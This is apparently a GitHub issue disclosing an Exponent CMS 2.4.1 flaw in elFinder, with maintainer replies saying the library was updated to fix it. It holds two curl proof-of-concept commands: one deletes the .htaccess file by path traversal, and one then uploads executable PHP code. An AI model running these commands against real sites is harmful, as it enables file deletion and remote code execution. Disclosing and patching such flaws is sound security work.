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Exponent CMS 2.4.1 - Unrestricted File Deletion / Upload Vulnerability in elFinder #1447

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exponentcms opened this issue Apr 28, 2020 · 3 comments
Closed

Exponent CMS 2.4.1 - Unrestricted File Deletion / Upload Vulnerability in elFinder #1447

exponentcms opened this issue Apr 28, 2020 · 3 comments
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@dleffler
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@exponentcms
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Allows deleting arbitrary files and thus bypassing .htaccess restrictions on uploadable executable PHP files due to a flaw in external/elFinder/php/elFinder.class.php

Example:
curl "[exponent]/framework/modules/file/connector/elfinder.php" -F "cmd=upload" -F "target=l1_" -F "upload[]=" -F chunk="../[exponent]/files/.htaccess"

curl "[exponent]/framework/modules/file/connector/elfinder.php" -F "cmd=upload" -F "target=l1_" -F "upload[]=@[remote code]"
@exponentcms
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Issue has been addressed in 333rd party library and will be applied to exponent as soon as feasible Studio-42/elFinder#1843

@exponentcms
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Fixed by recent push to update elFinder to v2.1.20

@exponentcms
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Lighthouse URL: https://exponentcms.lighthouseapp.com/projects/61783/tickets/1404

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@dleffler @exponentcms